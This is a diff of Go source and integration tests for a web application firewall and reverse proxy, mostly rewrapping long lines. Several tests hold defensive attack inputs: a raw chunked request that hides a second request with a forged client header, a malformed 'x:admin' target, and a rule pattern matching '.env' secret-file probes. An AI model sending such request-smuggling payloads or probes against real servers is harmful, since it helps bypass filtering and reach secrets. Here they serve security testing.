errCause = errors.New("is not limit, attack, admin or crowdsec")
errExpires = errors.New("is not after its start")
errDestination = errors.New("is not webhook, slack or ntfy")
errScope = errors.New("is not client, net, asn, total or watched_net")
errWaitingList = errors.New(`waiting is a list, but now lists the alerts by ` +
`destination: put the list under "webhook", as "waiting": {"webhook": [...]}, ` +
`or remove the file`)
errScope = errors.New(
"is not client, net, asn, total or watched_net",
)
errWaitingList = errors.New(
`waiting is a list, but now lists the alerts by ` +
`destination: put the list under "webhook", as "waiting": {"webhook": [...]}, ` +
`or remove the file`,
)
)
// Params are what Load needs.
@@ -283,9 +291,23 @@ func Load(params Params) (*Files, error) {
f.readCache(abuseIPDBScoresJSON)
f.readCache(routeWatchJSON)
params.ProcessLog.Info("read the state and cache files", "directory", params.Dir,
"cache_directory", params.CacheDir, "bans", bansRead, "clients", clientsRead,
"lookups", lookupsRead, "lists", listsRead, "alerts_waiting", alertsRead)
params.ProcessLog.Info(
"read the state and cache files",
"directory",
params.Dir,
"cache_directory",
params.CacheDir,
"bans",
bansRead,
"clients",
clientsRead,
"lookups",
lookupsRead,
"lists",
listsRead,
"alerts_waiting",
alertsRead,
)
return f, nil
}
@@ -344,8 +366,11 @@ func (f *Files) WriteAll() error {
func (f *Files) Watch(ctx context.Context) {
watcher, err := fsnotify.NewWatcher()
if err != nil {
f.params.ProcessLog.Error("cannot watch the state and cache files for edits",
"error", err.Error())
f.params.ProcessLog.Error(
"cannot watch the state and cache files for edits",
"error",
err.Error(),
)
return
}
@@ -395,8 +420,11 @@ func (f *Files) Watch(ctx context.Context) {
f.fileChanged(name)
}
case err = <-watcher.Errors:
f.params.ProcessLog.Warn("watching the state and cache files failed",
"error", err.Error())
f.params.ProcessLog.Warn(
"watching the state and cache files failed",
"error",
err.Error(),
)
}
}
}
@@ -416,7 +444,10 @@ func (f *Files) logFailure(name string, err error) {
Event: alerts.EventFileError,
Reason: failed,
Detail: map[string]any{
"file": filepath.Join(f.dir(name), name), "error": err.Error(),
"file": filepath.Join(
f.dir(name),
name,
), "error": err.Error(),
},
})
f.params.ProcessLog.Error(failed, "error", err.Error())
@@ -457,7 +488,11 @@ func (f *Files) takeInEdit(name string, data []byte) error {
// Counted before it is logged, so that the count is there once the
// log line is.
f.params.Metrics.StateFileEditTakenIn(name)
f.params.ProcessLog.Info(tookIn, "file", filepath.Join(f.dir(name), name))
f.params.ProcessLog.Info(
tookIn,
"file",
filepath.Join(f.dir(name), name),
)
return nil
}
@@ -508,8 +543,13 @@ func (f *Files) readCache(name string) int {
// start, unless it is nil.
func (f *Files) logUnread(name string, err error) {
if err != nil {
f.params.ProcessLog.Warn("cannot read a cache file, so its cache starts empty",
"file", filepath.Join(f.dir(name), name), "error", err.Error())
f.params.ProcessLog.Warn(
"cannot read a cache file, so its cache starts empty",
"file",
filepath.Join(f.dir(name), name),
"error",
err.Error(),
)
}
}
@@ -520,7 +560,8 @@ func (f *Files) logUnread(name string, err error) {
func (f *Files) readChanged(name string) ([]byte, bool, error) {
path := filepath.Join(f.dir(name), name)
data, err := os.ReadFile(path) //nolint:gosec // a file in one of the two directories
//nolint:gosec // a file in one of the two directories
data, err := os.ReadFile(path)
if errors.Is(err, fs.ErrNotExist) {
return nil, false, nil
}
@@ -564,7 +605,11 @@ func (f *Files) takeIn(name string, data []byte, edit bool) (int, error) {
// takeInState parses data, what the state file name, at path, holds, and
// puts it in, as takeIn describes.
func (f *Files) takeInState(name, path string, data []byte, edit bool) (int, error) {
func (f *Files) takeInState(
name, path string,
data []byte,
edit bool,
) (int, error) {
var entries int
switch name {
@@ -793,9 +838,18 @@ func (f *Files) setAside(name string, parseErr error) error {
f.params.Alerts.Raise(alerts.Alert{
Event: alerts.EventFileError,
Reason: setAside,
Detail: map[string]any{"file": path + ".bad", "error": parseErr.Error()},
Detail: map[string]any{
"file": path + ".bad",
"error": parseErr.Error(),
},
})
f.params.ProcessLog.Error(setAside, "file", path+".bad", "error", parseErr.Error())
f.params.ProcessLog.Error(
setAside,
"file",
path+".bad",
"error",
parseErr.Error(),
)
f.params.Metrics.StateFileEditSetAside(name)
return nil
@@ -814,7 +868,9 @@ func (f *Files) encode(name string) ([]byte, error) {
case lookupsJSON:
return encodeOnePerLine("lookups", f.params.GeoJS.Snapshot())
case listsJSON:
return encodeIndented(listsFile{Version: version, Lists: f.params.Lists.Snapshot()})
return encodeIndented(
listsFile{Version: version, Lists: f.params.Lists.Snapshot()},
)
case dnsblJSON:
return encodeOnePerLine("verdicts", f.params.DNSBL.Snapshot())
case abuseIPDBScoresJSON:
@@ -931,7 +987,12 @@ func (f *bansFile) check(data []byte) error {
case entry.Cause != "" && entry.Cause != bans.CauseLimit &&
entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin &&
entry.Cause != bans.CauseCrowdSec:
return fmt.Errorf("entry %d's cause %q %w", i+1, entry.Cause, errCause)
return fmt.Errorf(
"entry %d's cause %q %w",
i+1,
entry.Cause,
errCause,
)
}
}
@@ -1140,9 +1201,17 @@ func (f *alertsFile) check([]byte) error {
for i, alert := range f.Waiting[destination] {
switch {
case alert.Event == "":
return fmt.Errorf("waiting %s %w", destination, missing(i, "event"))
return fmt.Errorf(
"waiting %s %w",
destination,
missing(i, "event"),
)
case alert.Time.IsZero():
return fmt.Errorf("waiting %s %w", destination, missing(i, "time"))
return fmt.Errorf(
"waiting %s %w",
destination,
missing(i, "time"),
)
}
}
}
@@ -1215,7 +1284,12 @@ func missing(i int, field string) error {
func (f *bansFile) toUTC() {
for i := range f.Bans {
ban := &f.Bans[i]
convertToUTC(&ban.Start, ban.Expires, ban.Lifted, &ban.Notes.Request.Time)
convertToUTC(
&ban.Start,
ban.Expires,
ban.Lifted,
&ban.Notes.Request.Time,
)
}
}
@@ -1223,11 +1297,18 @@ func (f *bansFile) toUTC() {
func (f *clientsFile) toUTC() {
for i := range f.Clients {
client := &f.Clients[i]
convertToUTC(&client.Minute.Start, &client.Hour.Start, &client.Day.Start,
&client.MinuteBytes.Start, &client.HourBytes.Start,
&client.DayBytes.Start, &client.MinuteRefusals.Start,
&client.History.FirstSeen, &client.History.LastSeen,
&client.History.LookedUp)
convertToUTC(
&client.Minute.Start,
&client.Hour.Start,
&client.Day.Start,
&client.MinuteBytes.Start,
&client.HourBytes.Start,
&client.DayBytes.Start,
&client.MinuteRefusals.Start,
&client.History.FirstSeen,
&client.History.LastSeen,
&client.History.LookedUp,
)
}
}
@@ -1420,7 +1501,8 @@ func write(dir, name string, data []byte) error {
// syncDirectory syncs dir to the disk, so that a rename in it lasts.
func syncDirectory(dir string) error {
directory, err := os.Open(dir) //nolint:gosec // SWW_STATE_DIR or SWW_CACHE_DIR itself
//nolint:gosec // SWW_STATE_DIR or SWW_CACHE_DIR itself
directory, err := os.Open(dir)
if err != nil {
return err
}
@@ -1431,7 +1513,11 @@ func syncDirectory(dir string) error {
// writeSynced writes data to the file at path, and syncs it to the disk.
func writeSynced(path string, data []byte) error {
//nolint:gosec // a file's temporary file, in SWW_STATE_DIR or SWW_CACHE_DIR
file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, fileMode)
file, err := os.OpenFile(
path,
os.O_WRONLY|os.O_CREATE|os.O_TRUNC,
fileMode,
)
if err != nil {
return err
}
File diff suppressed because it is too large. Load diff
+21 -5
View File
@@ -31,7 +31,9 @@ var errHealthEndpoint = errors.New("the health endpoint answered")
// args are the arguments after `healthcheck`; it takes none, and given
// one it names it on stderr and returns 1 without checking anything.
func HealthCheck(
ctx context.Context, args []string, lookupEnv func(string) (string, bool),
ctx context.Context,
args []string,
lookupEnv func(string) (string, bool),
stderr io.Writer,
) int {
if len(args) > 0 {
@@ -85,7 +87,9 @@ func checkWAF(
func checkRProxyAndApp(
ctx context.Context, lookupEnv func(string) (string, bool),
) error {
listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL(lookupEnv)
listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL(
lookupEnv,
)
if err != nil {
return fmt.Errorf("invalid setting: %w", err)
}
@@ -95,7 +99,11 @@ func checkRProxyAndApp(
return fmt.Errorf("ask rproxy: %w", err)
}
conn, err := (&net.Dialer{}).DialContext(ctx, "tcp", appAddress(upstreamURL))
conn, err := (&net.Dialer{}).DialContext(
ctx,
"tcp",
appAddress(upstreamURL),
)
if err != nil {
return fmt.Errorf("connect to the app: %w", err)
}
@@ -109,9 +117,17 @@ func checkRProxyAndApp(
// listenAddr, which the settings have checked has one.
func askHealthEndpoint(ctx context.Context, listenAddr string) error {
_, port, _ := net.SplitHostPort(listenAddr)
health := "http://" + net.JoinHostPort("127.0.0.1", port) + waf.HealthPath
health := "http://" + net.JoinHostPort(
"127.0.0.1",
port,
) + waf.HealthPath
req, err := http.NewRequestWithContext(ctx, http.MethodGet, health, http.NoBody)
req, err := http.NewRequestWithContext(
ctx,
http.MethodGet,
health,
http.NoBody,
)
if err != nil {
return fmt.Errorf("make the request: %w", err)
}
+31 -9
View File
@@ -94,7 +94,10 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
site, _ := startRProxy(t, "http://127.0.0.1:9", app.URL)
_, port, _ := net.SplitHostPort(strings.TrimPrefix(site, "http://"))
settings := func(more ...string) map[string]string {
env := map[string]string{rproxyListenAddr: ":" + port, rproxyUpstreamURL: app.URL}
env := map[string]string{
rproxyListenAddr: ":" + port,
rproxyUpstreamURL: app.URL,
}
for i := 0; i < len(more); i += 2 {
env[more[i]] = more[i+1]
}
@@ -107,8 +110,12 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
wantHealthCheck(t, settings(commandSetting, "rproxy"), 0, "")
// SWW_COMMAND cannot be given as a file.
wantHealthCheck(t, settings(commandSetting+"_FILE", writeFile(t, "waf\n")),
0, "")
wantHealthCheck(
t,
settings(commandSetting+"_FILE", writeFile(t, "waf\n")),
0,
"",
)
// Another setting does not fail it, even an invalid one, and neither does
// SWRP_WAF_BACKEND being unset.
@@ -121,7 +128,12 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
// Listening on port 0 takes any free port, so nothing listens on port 0
// itself.
wantHealthCheck(t, settings(rproxyListenAddr, ":0"), 1, "unhealthy: ask rproxy: ")
wantHealthCheck(
t,
settings(rproxyListenAddr, ":0"),
1,
"unhealthy: ask rproxy: ",
)
wantHealthCheck(t, settings(rproxyListenAddr, "8080"), 1,
"unhealthy: invalid setting: SWRP_LISTEN_ADDR: ")
@@ -161,16 +173,26 @@ func TestHealthCheckRefusesAnArgument(t *testing.T) {
// wantHealthCheck runs the health check with the settings in env, and
// checks its exit status and the start of what it writes to stderr,
// which is nothing when message is empty.
func wantHealthCheck(t *testing.T, env map[string]string, status int, message string) {
func wantHealthCheck(
t *testing.T,
env map[string]string,
status int,
message string,
) {
t.Helper()
var stderr bytes.Buffer
got := sww.HealthCheck(t.Context(), nil, func(name string) (string, bool) {
value, ok := env[name]
got := sww.HealthCheck(
t.Context(),
nil,
func(name string) (string, bool) {
value, ok := env[name]
return value, ok
}, &stderr)
return value, ok
},
&stderr,
)
wrote := stderr.String()
if got != status || !strings.HasPrefix(wrote, message) ||
+10 -2
View File
@@ -21,7 +21,11 @@ import (
// more severe: rproxy has no setting for either.
func RunRProxy(ctx context.Context, params Params) int {
hostname, _ := os.Hostname() // "" when the host has no name to give
processLog := requestlog.NewProcessLogger(params.Stdout, hostname, slog.LevelInfo)
processLog := requestlog.NewProcessLogger(
params.Stdout,
hostname,
slog.LevelInfo,
)
cfg, err := config.RProxyFromEnvironment(params.LookupEnv)
if err != nil {
@@ -38,7 +42,11 @@ func RunRProxy(ctx context.Context, params Params) int {
listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
if err != nil {
processLog.Error("cannot listen on SWRP_LISTEN_ADDR", "error", err.Error())
processLog.Error(
"cannot listen on SWRP_LISTEN_ADDR",
"error",
err.Error(),
)
return 1
}
+91 -22
View File
@@ -79,7 +79,11 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
select {
case status := <-exited:
if status != 0 {
t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
t.Errorf(
"rproxy's exit status %d, want 0; output:\n%s",
status,
out.text(),
)
}
case <-time.After(waitLimit):
t.Error("rproxy still running after being told to stop")
@@ -94,7 +98,10 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
// startWAF runs waf with the settings in env, and returns
// its address and URL, what it writes, and what stops it, which checks that it
// stopped in order.
func startWAF(t *testing.T, env map[string]string) (string, *output, func()) {
func startWAF(
t *testing.T,
env map[string]string,
) (string, *output, func()) {
t.Helper()
ctx, stop := context.WithCancel(t.Context())
@@ -113,7 +120,11 @@ func startWAF(t *testing.T, env map[string]string) (string, *output, func()) {
select {
case status := <-exited:
if status != 0 {
t.Fatalf("waf's exit status %d, want 0; output:\n%s", status, out.text())
t.Fatalf(
"waf's exit status %d, want 0; output:\n%s",
status,
out.text(),
)
}
case <-time.After(waitLimit):
t.Fatal("waf still running after being told to stop")
@@ -341,7 +352,12 @@ func pipe(dst, src net.Conn) {
// answersNormally reports whether a request to url from the client at from, as
// X-Forwarded-For names it, gets the app's answer.
func answersNormally(ctx context.Context, url, from string) bool {
req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, http.NoBody)
req, err := http.NewRequestWithContext(
ctx,
http.MethodGet,
url,
http.NoBody,
)
if err != nil {
return false
}
@@ -359,7 +375,8 @@ func answersNormally(ctx context.Context, url, from string) bool {
body, err := io.ReadAll(res.Body)
_ = res.Body.Close()
return err == nil && res.StatusCode == http.StatusOK && string(body) == greeting
return err == nil && res.StatusCode == http.StatusOK &&
string(body) == greeting
}
// sendRaw sends request, as it is, to rproxy at site, and returns the status of
@@ -412,9 +429,16 @@ func TestAChunkedBodyStaysABodyAtWAF(t *testing.T) {
waf.ClientHeader + ": " + otherClient + "\r\n" +
"X-Request-ID: " + smuggledID + "\r\n\r\n"
status := sendRaw(t, site, "POST /upload HTTP/1.1\r\nHost: site.example\r\n"+
"X-Forwarded-For: "+placed+"\r\nTransfer-Encoding: chunked\r\n\r\n"+
strconv.FormatInt(int64(len(smuggled)), 16)+"\r\n"+smuggled+"\r\n0\r\n\r\n")
status := sendRaw(
t,
site,
"POST /upload HTTP/1.1\r\nHost: site.example\r\n"+
"X-Forwarded-For: "+placed+"\r\nTransfer-Encoding: chunked\r\n\r\n"+
strconv.FormatInt(
int64(len(smuggled)),
16,
)+"\r\n"+smuggled+"\r\n0\r\n\r\n",
)
if status != http.StatusOK {
t.Errorf("status %d, want the app's 200", status)
}
@@ -443,8 +467,12 @@ func TestATargetThatCannotGoToWAFIsRefusedForABannedClient(t *testing.T) {
wantStatus(t, site+bannedProbe, placed, http.StatusForbidden)
status := sendRaw(t, site, "GET x:admin HTTP/1.1\r\nHost: site.example\r\n"+
"X-Forwarded-For: "+placed+"\r\n\r\n")
status := sendRaw(
t,
site,
"GET x:admin HTTP/1.1\r\nHost: site.example\r\n"+
"X-Forwarded-For: "+placed+"\r\n\r\n",
)
if status != http.StatusBadRequest {
t.Errorf("status %d, want 400", status)
}
@@ -470,7 +498,8 @@ func TestAClientWithAZoneIsTheClientWithout(t *testing.T) {
wantStatus(t, site+"/", "2001:db8::1", http.StatusForbidden)
line := out.line(t, "path", bannedProbe)
if line["client_ip"] != "2001:db8::1" || line["default_disposition"] != nil {
if line["client_ip"] != "2001:db8::1" ||
line["default_disposition"] != nil {
t.Errorf("rproxy's line is %v", line)
}
}
@@ -495,7 +524,10 @@ func TestAStatusWAFDoesNotTakeIsReportedAs599(t *testing.T) {
line := out.line(t, "path", "/")
if line["status"] != float64(status) {
t.Errorf("rproxy's line is %v, want the status the visitor got", line)
t.Errorf(
"rproxy's line is %v, want the status the visitor got",
line,
)
}
id, _ := line["request_id"].(string)
@@ -519,7 +551,8 @@ func startRProxyProcess(t *testing.T, env ...string) (string, func()) {
}
out := &output{}
cmd := exec.CommandContext(t.Context(), binary) //nolint:gosec // this test binary
//nolint:gosec // this test binary
cmd := exec.CommandContext(t.Context(), binary)
cmd.Stdout = out
cmd.Env = append(os.Environ(),
@@ -540,7 +573,11 @@ func startRProxyProcess(t *testing.T, env ...string) (string, func()) {
select {
case status := <-exited:
if status != 0 {
t.Errorf("exit status %d, want 0; output:\n%s", status, out.text())
t.Errorf(
"exit status %d, want 0; output:\n%s",
status,
out.text(),
)
}
case <-time.After(waitLimit):
t.Error("still running after being told to stop")
@@ -587,7 +624,11 @@ func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
"Connection": "Connection: anything\r\n",
"a WebSocket upgrade": "Connection: Upgrade\r\nUpgrade: websocket\r\n",
} {
status := sendRaw(t, addr, "GET / HTTP/1.1\r\nHost: site.example\r\n"+headers+"\r\n")
status := sendRaw(
t,
addr,
"GET / HTTP/1.1\r\nHost: site.example\r\n"+headers+"\r\n",
)
if status != http.StatusForbidden {
t.Errorf("with %s: status %d, want waf's 403", name, status)
}
@@ -595,7 +636,11 @@ func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
select {
case protocol := <-protocols:
if protocol != "HTTP/1.1" {
t.Errorf("with %s: asked over %s, want HTTP/1.1", name, protocol)
t.Errorf(
"with %s: asked over %s, want HTTP/1.1",
name,
protocol,
)
}
case <-time.After(waitLimit):
t.Errorf("with %s: waf was not asked", name)
@@ -616,7 +661,11 @@ func TestRProxyProcessLinesNameTheHostAndComeAtInfo(t *testing.T) {
line := out.line(t, "msg", "starting")
if line["instance"] != hostname || line["level"] != "INFO" {
t.Errorf("rproxy's line is %v, want instance %s at INFO", line, hostname)
t.Errorf(
"rproxy's line is %v, want instance %s at INFO",
line,
hostname,
)
}
}
@@ -681,7 +730,11 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
select {
case status := <-exited:
if status != 0 {
t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
t.Errorf(
"rproxy's exit status %d, want 0; output:\n%s",
status,
out.text(),
)
}
case <-time.After(waitLimit):
t.Error("rproxy still running, the report having been answered")
@@ -755,7 +808,11 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
}()
addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
conn := sendAndKeepOpen(t, addr, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
conn := sendAndKeepOpen(
t,
addr,
"GET / HTTP/1.1\r\nHost: site.example\r\n\r\n",
)
select {
case <-asked:
@@ -779,7 +836,11 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
select {
case status := <-exited:
if status != 0 {
t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
t.Errorf(
"rproxy's exit status %d, want 0; output:\n%s",
status,
out.text(),
)
}
case <-time.After(waitLimit):
t.Error("rproxy still running after the cut-off")
@@ -814,7 +875,11 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
message, _ := line["error"].(string)
if !strings.HasPrefix(message, tc.setting+": ") {
t.Errorf("start refused with %v, want it to name %s", line, tc.setting)
t.Errorf(
"start refused with %v, want it to name %s",
line,
tc.setting,
)
}
})
}
@@ -823,7 +888,11 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
func TestRProxyAddressInUseStopsTheStart(t *testing.T) {
t.Parallel()
taken, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
taken, err := (&net.ListenConfig{}).Listen(
t.Context(),
"tcp",
localhost+":0",
)
if err != nil {
t.Fatalf("listen: %v", err)
}
+80 -25
View File
@@ -79,7 +79,11 @@ func Main(version string) int {
syscall.SIGTERM, os.Interrupt)
defer stop()
params := Params{Version: version, LookupEnv: os.LookupEnv, Stdout: os.Stdout}
params := Params{
Version: version,
LookupEnv: os.LookupEnv,
Stdout: os.Stdout,
}
switch args[0] {
case "rproxy":
@@ -111,9 +115,7 @@ func RunWAF(ctx context.Context, params Params) int {
cfg, err := config.FromEnvironment(params.LookupEnv)
if err != nil {
processLog.Error("invalid setting", "error", err.Error())
return 1
return cannotStart(processLog, "invalid setting", err)
}
// While SWW_LOG_REMOTE_URL is set, every line on stdout from here on
@@ -127,13 +129,38 @@ func RunWAF(ctx context.Context, params Params) int {
stdout = io.MultiWriter(params.Stdout, remote)
}
processLog = requestlog.NewProcessLogger(stdout, cfg.InstanceName, cfg.LogLevel)
processLog = requestlog.NewProcessLogger(
stdout,
cfg.InstanceName,
cfg.LogLevel,
)
if remote != nil {
stopSending := startSending(ctx, remote, processLog)
defer stopSending()
}
return runWAFWithSettings(
ctx,
params.Version,
cfg,
stdout,
remote,
processLog,
)
}
// runWAFWithSettings is the rest of RunWAF once the settings are read and
// the process log goes where they say. remote is nil unless
// SWW_LOG_REMOTE_URL is set.
func runWAFWithSettings(
ctx context.Context,
version string,
cfg *config.Config,
stdout io.Writer,
remote *remotelog.Sender,
processLog *slog.Logger,
) int {
// The state files and the alerts give times in UTC.
now := func() time.Time { return time.Now().UTC() }
@@ -146,23 +173,25 @@ func RunWAF(ctx context.Context, params Params) int {
Alerts: alertQueue,
})
if err != nil {
processLog.Error("cannot use the rule files", "error", err.Error())
return 1
return cannotStart(processLog, "cannot use the rule files", err)
}
crs, err := waf.NewCoreRuleSet(cfg)
if err != nil {
processLog.Error("cannot use the Core Rule Set", "error", err.Error())
return 1
return cannotStart(processLog, "cannot use the Core Rule Set", err)
}
server, err := newServer(cfg, stdout, processLog, now, ruleFiles, alertQueue, crs)
server, err := newServer(
cfg,
stdout,
processLog,
now,
ruleFiles,
alertQueue,
crs,
)
if err != nil {
processLog.Error("cannot use the lookup database", "error", err.Error())
return 1
return cannotStart(processLog, "cannot use the lookup database", err)
}
if remote != nil {
@@ -171,24 +200,43 @@ func RunWAF(ctx context.Context, params Params) int {
files, err := loadStateFiles(cfg, server, alertQueue, now, processLog)
if err != nil {
processLog.Error("cannot use the state and cache files", "error", err.Error())
return 1
return cannotStart(
processLog,
"cannot use the state and cache files",
err,
)
}
listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
if err != nil {
processLog.Error("cannot listen on SWW_LISTEN_ADDR", "error", err.Error())
return 1
return cannotStart(
processLog,
"cannot listen on SWW_LISTEN_ADDR",
err,
)
}
processLog.Info("starting",
"version", params.Version,
"version", version,
"address", listener.Addr().String(),
"settings", cfg)
return serve(ctx, server, listener, files, ruleFiles, alertQueue, processLog)
return serve(
ctx,
server,
listener,
files,
ruleFiles,
alertQueue,
processLog,
)
}
// cannotStart logs why waf cannot start, and returns its exit status.
func cannotStart(processLog *slog.Logger, message string, err error) int {
processLog.Error(message, "error", err.Error())
return 1
}
// newServer returns the server waf runs, with the metrics of the alerts,
@@ -230,7 +278,10 @@ func newServer(
server.Metrics.AddAlerts(alertQueue)
if lookupFile != nil {
server.Metrics.AddLookupFile(lookupFile.LastRead, lookupFile.ReadFailures)
server.Metrics.AddLookupFile(
lookupFile.LastRead,
lookupFile.ReadFailures,
)
}
return server, nil
@@ -395,7 +446,11 @@ func serve(
err = files.WriteAll()
if err != nil {
processLog.Error("writing the state and cache files failed", "error", err.Error())
processLog.Error(
"writing the state and cache files failed",
"error",
err.Error(),
)
return 1
}
+8 -2
View File
@@ -22,7 +22,10 @@ func TestStopWaitsForTheSenderToFinish(t *testing.T) {
synctest.Test(t, func(t *testing.T) {
took := stopHeldSender(t, time.Second)
if took != time.Second {
t.Errorf("the stop took %s, want the second the sender took", took)
t.Errorf(
"the stop took %s, want the second the sender took",
took,
)
}
})
}
@@ -59,7 +62,10 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
sender := remotelog.New(remotelog.Params{
// No port is 65536, so each attempt to connect fails at once,
// before it reaches the network.
URL: &url.URL{Scheme: remotelog.SchemeTCP, Host: "127.0.0.1:65536"},
URL: &url.URL{
Scheme: remotelog.SchemeTCP,
Host: "127.0.0.1:65536",
},
Buffer: 1,
})
+194 -63
View File
@@ -111,8 +111,12 @@ func (o *output) lineBeforeExit(
select {
case status := <-exited:
t.Fatalf("exit status %d while waiting for a line with msg %q; output:\n%s",
status, msg, o.text())
t.Fatalf(
"exit status %d while waiting for a line with msg %q; output:\n%s",
status,
msg,
o.text(),
)
case <-time.After(pollInterval):
}
}
@@ -227,7 +231,11 @@ func TestShortTokenStopsTheStartUnshown(t *testing.T) {
func TestAddressInUseStopsTheStart(t *testing.T) {
t.Parallel()
taken, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
taken, err := (&net.ListenConfig{}).Listen(
t.Context(),
"tcp",
localhost+":0",
)
if err != nil {
t.Fatalf("listen: %v", err)
}
@@ -325,7 +333,11 @@ func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) {
select {
case status := <-exited:
if status != 0 {
t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
t.Fatalf(
"exit status %d, want 0; output:\n%s",
status,
out.text(),
)
}
case <-time.After(waitLimit):
t.Fatal("still running after being told to stop")
@@ -479,7 +491,14 @@ func TestBanAddedAndLiftedByEditingBansJSON(t *testing.T) {
runUntilStopped(t, env, func(url string) {
path := filepath.Join(dir, "bans.json")
saveUntilAnswered(t, path, oneBan, url, "203.0.113.9", http.StatusForbidden)
saveUntilAnswered(
t,
path,
oneBan,
url,
"203.0.113.9",
http.StatusForbidden,
)
wantStatus(t, url, "198.51.100.7", http.StatusOK)
saveUntilAnswered(t, path, noBan, url, "203.0.113.9", http.StatusOK)
})
@@ -568,12 +587,20 @@ func TestRuleFileThatDoesNotParseStopsTheStart(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "00-default.rules")
err := os.WriteFile(path, []byte("# probes\nenv-file path bann ^/\\.env$\n"), 0o600)
err := os.WriteFile(
path,
[]byte("# probes\nenv-file path bann ^/\\.env$\n"),
0o600,
)
if err != nil {
t.Fatalf("write the rule file: %v", err)
}
wantRulesRefused(t, dir, path+`, line 2: the action "bann" is not log, block or ban`)
wantRulesRefused(
t,
dir,
path+`, line 2: the action "bann" is not log, block or ban`,
)
}
func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
@@ -585,7 +612,9 @@ func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
": no such file or directory")
}
func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(t *testing.T) {
func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
t *testing.T,
) {
t.Parallel()
path := filepath.Join(t.TempDir(), "crs-exclusions.conf")
@@ -686,23 +715,38 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) {
}
// One that cannot be read leaves the file read before in use.
err := os.WriteFile(replacement, []byte("not a lookup database\n"), 0o600)
err := os.WriteFile(
replacement,
[]byte("not a lookup database\n"),
0o600,
)
if err != nil {
t.Fatalf("write %s: %v", replacement, err)
}
rename(t, replacement, path)
metrics := metricsWith(t, url+"_sww/metrics", token,
`sww_lookup_database_read_failures_total{instance="fsn1app1/blog"} 1`)
lastRead = seriesValue(t, metrics,
`sww_lookup_database_last_read_timestamp_seconds{instance="fsn1app1/blog"}`)
metrics := metricsWith(
t,
url+"_sww/metrics",
token,
`sww_lookup_database_read_failures_total{instance="fsn1app1/blog"} 1`,
)
lastRead = seriesValue(
t,
metrics,
`sww_lookup_database_last_read_timestamp_seconds{instance="fsn1app1/blog"}`,
)
wantStatus(t, url, placed, http.StatusOK)
})
if lastRead < float64(began.Unix()) || lastRead > float64(time.Now().Unix()) {
t.Errorf("the lookup database was last read at %v, want a time in the test", lastRead)
if lastRead < float64(began.Unix()) ||
lastRead > float64(time.Now().Unix()) {
t.Errorf(
"the lookup database was last read at %v, want a time in the test",
lastRead,
)
}
}
@@ -776,8 +820,8 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
})
wantDeniedByList(t, out.line(t, "action", "client_denied"), dropURL)
if fetches := torFetches.Load(); fetches != 1 {
t.Errorf("tor.txt fetched %d times, want once, before the restart", fetches)
if n := torFetches.Load(); n != 1 {
t.Errorf("tor.txt fetched %d times before the restart, want 1", n)
}
// After another restart, with the server failing, the copy of drop.txt
@@ -792,10 +836,10 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
path := filepath.Join(cache, "lists.json")
kept, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
//nolint:gosec // a file in the test's directory
kept, err := os.ReadFile(path)
if err != nil || !strings.Contains(string(kept), `"`+copyright+`"`) {
t.Errorf("lists.json holds\n%s\nwant the copy with %q (%v)", kept, copyright,
err)
t.Errorf("lists.json holds\n%s\nwant %q (%v)", kept, copyright, err)
}
}
@@ -815,9 +859,12 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
case down.Load():
w.WriteHeader(http.StatusServiceUnavailable)
default:
_, _ = io.WriteString(w, `[{"duration": "4h0m0s", "origin": "crowdsec", `+
`"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
`"type": "ban", "value": "203.0.113.0/24"}]`)
_, _ = io.WriteString(
w,
`[{"duration": "4h0m0s", "origin": "crowdsec", `+
`"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
`"type": "ban", "value": "203.0.113.0/24"}]`,
)
}
}))
t.Cleanup(engine.Close)
@@ -842,7 +889,11 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
ban := onlyBan(t, dir)
if ban["netblock"] != placed+"/32" || ban["cause"] != "crowdsec" ||
ban["reason"] != "CrowdSec's decision for crowdsecurity/http-probing" {
t.Errorf("bans.json holds %v, want the ban for crowdsec on %s", ban, placed)
